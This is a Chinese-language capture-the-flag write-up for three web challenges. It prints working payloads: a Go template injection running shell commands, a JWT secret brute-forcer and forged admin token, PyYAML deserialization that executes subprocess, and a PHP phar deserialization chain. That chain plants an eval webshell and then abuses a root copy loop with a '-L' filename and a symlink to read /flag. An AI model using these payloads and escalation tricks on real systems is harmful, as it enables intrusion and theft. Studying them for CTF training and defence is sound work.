湾区杯

web

ssti

访问直接能ssti,但是尝试常规的49等回显依然还是49,判断不为常规语言的ssti,尝试go语言的sstipayload
{{ . }}

回显两个函数base64decodeexec
直接调用exec进行cat /flag
{{ exec ("cat /flag") }}
发现存在过滤,利用base64decode绕过
{{exec (B64Decode"Y2FOIC9mbGFn")}}
flag{pqRpoqrMq9Tqyhs91afm3rc6HXEDZH1t}

ez-python

访问后可以上传文件并执行,但是需要admin权限
抓包发现会向/auth路由发包获取token,jwt解码发现是user权限,需要jwt伪造,这里先随便用一个秘钥生成一个admin权限的token访问,发现回显hint

{"error":"JWT Decode Failed. Key Hint","hint":"Key starts with \"@o70xO$0%#qR9#**\". The 2 missing chars are alphanumeric (letters and numbers)."}
末尾两位为字母或数字,也就是让我们爆破两位秘钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import jwt
import itertools
import string
import sys

def brute_force_jwt_key(jwt_token, key_prefix):
"""
爆破JWT秘钥
:param jwt_token: 需要破解的JWT令牌
:param key_prefix: 已知的秘钥前缀
"""
# 生成所有可能的两个字母数字字符组合
chars = string.ascii_letters + string.digits
combinations = itertools.product(chars, repeat=2)

total_attempts = len(chars) ** 2
print(f"总共需要尝试 {total_attempts} 种组合")

for i, (c1, c2) in enumerate(combinations):
key_candidate = key_prefix + c1 + c2
try:
# 尝试解码JWT
decoded = jwt.decode(jwt_token, key_candidate, algorithms=['HS256'])
print(f"\n成功找到秘钥!: {key_candidate}")
print(f"解码后的载荷: {decoded}")
return key_candidate
except jwt.InvalidSignatureError:
# 签名错误继续尝试
if i % 100 == 0:
print(f"已尝试 {i+1}/{total_attempts} 种组合", end='\r')
continue
except jwt.ExpiredSignatureError:
print(f"\n秘钥可能正确但令牌已过期: {key_candidate}")
return key_candidate
except Exception as e:
# 其他异常可能是秘钥正确但令牌有问题
print(f"\n异常发生,秘钥可能正确: {key_candidate}, 错误: {e}")
return key_candidate

print("\n未能找到正确的秘钥")
return None

if __name__ == "__main__":
if len(sys.argv) != 2:
print("用法: python jwt_brute_force.py <JWT_TOKEN>")
sys.exit(1)

jwt_token = sys.argv[1]
key_prefix = "@o70xO$0%#qR9#"

print("开始JWT秘钥爆破...")
found_key = brute_force_jwt_key(jwt_token, key_prefix)

if found_key:
print(f"爆破完成,找到的秘钥: {found_key}")
else:
print("爆破完成,未找到有效秘钥")

爆破完成,找到的秘钥: @o70xO$0%#qR9#m0
然后利用秘钥生成一个admin权限的token即可
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70
抓包替换即可进入/sandbox路由
这里既可以python命令执行,也可以进行yaml反序列化,python命令执行过滤比较严重,先试试进行yaml反序列化
直接传入payload

注意命令执行参数需要写成"ls","/"而不能写成"ls /"
subprocess.check_output 接收一个列表作为命令参数。这里的 ["ls", "/"] 会被解析为两个独立的参数:ls 和 /,等同于在终端执行 ls /

!!python/object/apply:subprocess.check_output [["ls","/"]]
!!python/object/apply:subprocess.check_output [["cat","/f1111ag"]]

flag{MDy0CDZNuOrq7I0To5bofBy0tdfdVHw8}

easy_readfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
 <?php
highlight_file(__FILE__);

function waf($data){
if (is_array($data)){
die("Cannot transfer arrays");
}
if (preg_match('/<\?|__HALT_COMPILER|get|Coral|Nimbus|Zephyr|Acheron|ctor|payload|php|filter|base64|rot13|read|data/i', $data)) {
die("You can't do");
}
}

class Coral{
public $pivot;

public function __set($k, $value) {
$k = $this->pivot->ctor;
echo new $k($value);
}
}

class Nimbus{
public $handle;
public $ctor;

public function __destruct() {
return $this->handle();
}
public function __call($name, $arg){
$arg[1] = $this->handle->$name;
}
}

class Zephyr{
public $target;
public $payload;
public function __get($prop)
{
$this->target->$prop = $this->payload;
}
}

class Acheron {
public $mode;

public function __destruct(){
$data = $_POST[0];
if ($this->mode == 'w') {
waf($data);
$filename = "/tmp/".md5(rand()).".phar";
file_put_contents($filename, $data);
echo $filename;
} else if ($this->mode == 'r') {
waf($data);
$f = include($data);
if($f){
echo "It is file";
}
else{
echo "You can look at the others";
}
}
}
}

if(strlen($_POST[1]) < 52) {
$a = unserialize($_POST[1]);
}
else{
echo "str too long";
}

?>

先常规尝试原生类读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 <?php
class Coral{
public $pivot;

}

class Nimbus{
public $handle;
public $ctor;

}

class Zephyr{
public $target;
public $payload;
}

class Acheron {
public $mode;

}
$a=new Acheron();
$a->mode='w';
print_r(serialize($a));

$b=new Nimbus();
$c=new Nimbus();
$d=new Zephyr();
$e=new Coral();
$f=new Nimbus();
$b->handle=$c;
$c->handle=$d;
$d->target=$e;
$d->payload='glob://f*';
$e->pivot=$f;
$f->ctor='DirectoryIterator';
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."< ?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($b); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件,随便新建一个文件内容随意
$phar->stopBuffering();
?>

然后为了绕过waf这里先gzip压缩一下,然后再url编码上传

1
2
3
4
5
import urllib.parse
with open("shell.phar.gz", 'rb') as fi:
f = fi.read()
ff = urllib.parse.quote(f) #获取信息
print(ff)

1=O:7:"Acheron":1:{s:4:"mode";s:1:"w";}&0=%1F%8B%08%08%F3%F2%BEh%00%0Bphar.phar%00s%F7t%B3%B0L%B4Q%B0/%C8%28P%88%8F%F7p%F4%09%89w%F6%F7%0D%F0%F4q%0D%D2%D0%B4V%B0%B7%E3%E5%D2%60d%60%00%22%06A%06%08%CD%C0%F0%09%88%FD%AD%CC%AC%94%FC2s%93J%8B%95%AC%8C%AC%AA%8BA%FC%8C%C4%BC%94%9CT%25k%C2%92Q%A9%05%19%95E%08%C9%92%C4%A2%F4%D4%12%90%A4%A9%95%92s~Qb%8E%92%95%21H%0E%C8-%C8%2C%CB/%21%60%A8%9Fu%B1%95%89%95RrI~%91%12%90ihn%A5%E4%92Y%94%0A%E2Wz%96%A4%16%25%82%25jk%8B%AD%802%05%89%959%F9%89%29%20%85%96VJ%E99%F9IV%FA%FAiZ%40y%24C%FC%D0y%1C%40_%97%A4%16%97%E8%95T%94%B0%00%D9%9F%3F%ED%CB%00%D1%3Cu%F57%B6A%02%06%2C%FF%92Y%3B%CA%FBWI%D9w%EB%FD%B6qf%7F%BA.m%5E%FCyb%91%99%D6%03%C6%C7%5E%FF%147%BC%60%06%AAsw%F2u%02%00%16%9D%A8Y%7C%01%00%00

然后包含phar触发反序列化

1=O:7:"Acheron":1:{s:4:"mode";s:1:"r";}&0=phar:///tmp/bfa91190184091a86f67a022edbe890d.phar
有回显但是读取失败,可能因为权限不足,利用phar进行写马尝试RCE提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
$cmd='<?php eval($_POST[1]); ?>';
file_put_contents("shell.php",$cmd);
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

一样gzip压缩url编码上传
1=O:7:"Acheron":1:{s:4:"mode";s:1:"w";}&0=%1F%8B%08%08%85%F6%BEh%00%0Bshell.phar%00%B3%B1/%C8%28%E0R%00%02%95%E4%DC%14%5Bu%1B%10_%21%B5%2C1GC%25%3E%C0%3F8%24%DA0V%D3Z%C1%DEN%DD%1A%AC%2A-3%275%BE%A0%B4%24%3E9%3F%AF%245%AF%A4XC%A98%235%27G%0F%A8MI%07d%86%26Da%7C%BC%87%A3OH%BC%B3%BFo%80%A7%8Fk%90%06%D8%10%5E.3%06%06%06F%20%16%84%D2%10%C0%01%C4%25%A9%C5%25z%25%15%25%2C%40v%EB%B7%7D%19%20%9A%A7%AE%FE%C66%A82%90%FC%C6%C3%DF%F6%9FU%BBU%5Era%9A%FF%8E%F2%09%12%3F%B7%7D%A9%FC%D6s%F7%BE%DD%D1%C3%0ER%EFz%EC%99%81%EA%DC%9D%7C%9D%00%0F%28%C9%86%D6%00%00%00
然后包含phar写马
1=O:7:"Acheron":1:{s:4:"mode";s:1:"r";}&0=phar:///tmp/bfa91190184091a86f67a022edbe890d.phar
访问shell.php发现传马成功,蚁剑连接
看一下进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(ctfuser:/var/www/html/backup) $ ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 76736 26308 pts/0 Ss+ 14:51 0:00 apache2 -DFOREGROUND
root 7 0.0 0.0 3896 3132 pts/0 S+ 14:51 0:00 /bin/bash /run.sh
root 8 0.0 0.0 3896 2180 pts/0 S+ 14:51 0:00 /bin/bash /start.sh
ctfuser 24 0.0 0.0 77392 14788 pts/0 S+ 14:51 0:00 apache2 -DFOREGROUND
ctfuser 25 0.0 0.0 77392 14540 pts/0 S+ 14:51 0:00 apache2 -DFOREGROUND
ctfuser 26 0.0 0.0 77392 14604 pts/0 S+ 14:51 0:00 apache2 -DFOREGROUND
ctfuser 27 0.0 0.0 77392 14660 pts/0 S+ 14:51 0:00 apache2 -DFOREGROUND
ctfuser 28 0.0 0.0 77392 14468 pts/0 S+ 14:51 0:00 apache2 -DFOREGROUND
root 1489 0.0 0.0 2392 572 pts/0 S+ 15:48 0:00 sleep 30
root 1495 0.0 0.0 2392 552 pts/0 S+ 15:48 0:00 sleep 10
ctfuser 1496 0.0 0.0 2480 516 pts/0 S+ 15:48 0:00 sh -c /bin/sh -c "cd "/var/www/html/backup";ps -aux;echo 1c2701bc4;pwd;echo 19a7bb5ce" 2>&1
ctfuser 1497 0.0 0.0 2480 580 pts/0 S+ 15:48 0:00 /bin/sh -c cd /var/www/html/backup;ps -aux;echo 1c2701bc4;pwd;echo 19a7bb5ce
ctfuser 1498 0.0 0.0 6756 2904 pts/0 R+ 15:48 0:00 ps -aux

发现/run.sh,去看一下代码

1
2
3
4
5
6
7
8
#!/bin/bash
cd /var/www/html/
while :
do
cp -P * /var/www/html/backup/
chmod 755 -R /var/www/html/backup/
sleep 10
done

发现它会定时将/var/www/html/目录下的文件复制到backup目录下,并且将backup目录下的文件权限设置为755
创建/flag的软连接

1
2
3
(ctfuser:/var/www/html) $ ln -s /flag f
(ctfuser:/var/www/html) $ touch ./-L
(ctfuser:/var/www/html) $ cd backup

然后等待几秒读取flag即可
flag{USf5q0Dim4xTwkPRxpClTu4aKvf5cv3O}

这里读取有可能依然提示权限不足,可以删除后再尝试